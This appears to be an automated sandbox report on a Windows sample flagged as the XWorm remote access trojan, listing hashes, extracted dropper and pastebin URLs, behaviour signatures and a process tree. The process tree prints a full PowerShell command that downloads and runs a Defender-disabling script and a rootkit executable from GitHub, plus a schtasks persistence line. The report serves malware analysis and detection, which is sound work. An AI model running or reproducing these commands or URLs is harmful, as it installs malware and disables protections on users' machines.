Overview

overview

10

Static

static

10

98336c4a29...67.exe

windows7-x64

10

98336c4a29...67.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    08/03/2025, 04:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe

  • Size

    55KB

  • MD5

    5a56065a3cb76c24738719ff09686ea6

  • SHA1

    269254a2a77e708480d05b355348a6756cf3130e

  • SHA256

    98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

  • SHA512

    e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad

  • SSDEEP

    768:vIU44Oj5X88UOzTx4tfLFFO7mWbIwhTzkKL/t/X6snGRohJOcCouejK:vHCZNOpFO79bIw9IK5/rbO+uh

Score
10/10
xwormexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • pastebin_url

    https://pastebin.com/raw/GMv8QPCE

Signatures

  • Detect Xworm Payload 3 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 61 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
    "C:\Users\Admin\AppData\Local\Temp\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3048
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67" /tr "C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2952
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {802A4104-C117-4B2E-9B51-31B5467D3CAD} S-1-5-21-1163522206-1469769407-485553996-1000:PJCSDMRP\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
      C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2972
    • C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
      C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:620
    • C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
      C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3012

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    71KB

    MD5

    83142242e97b8953c386f988aa694e4a

    SHA1

    833ed12fc15b356136dcdd27c61a50f59c5c7d50

    SHA256

    d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

    SHA512

    bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\TarD62A.tmp
    Filesize

    183KB

    MD5

    109cab5505f5e065b63d01361467a83b

    SHA1

    4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

    SHA256

    ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

    SHA512

    753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

    Download Submit

  • C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
    Filesize

    55KB

    MD5

    5a56065a3cb76c24738719ff09686ea6

    SHA1

    269254a2a77e708480d05b355348a6756cf3130e

    SHA256

    98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

    SHA512

    e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad

    Download Submit

  • memory/2416-0-0x000007FEF5B73000-0x000007FEF5B74000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2416-1-0x0000000000970000-0x0000000000984000-memory.dmp

    Filesize

    80KB

    Download

  • memory/2416-11-0x000007FEF5B73000-0x000007FEF5B74000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2416-73-0x000000001AE00000-0x000000001AE80000-memory.dmp

    Filesize

    512KB

    Download

  • memory/2972-15-0x0000000001380000-0x0000000001394000-memory.dmp

    Filesize

    80KB

    Download

  • memory/3048-6-0x0000000002C00000-0x0000000002C80000-memory.dmp

    Filesize

    512KB

    Download

  • memory/3048-7-0x000000001B570000-0x000000001B852000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/3048-8-0x0000000001E20000-0x0000000001E28000-memory.dmp

    Filesize

    32KB

    Download

  • memory/3048-9-0x0000000002C00000-0x0000000002C80000-memory.dmp

    Filesize

    512KB

    Download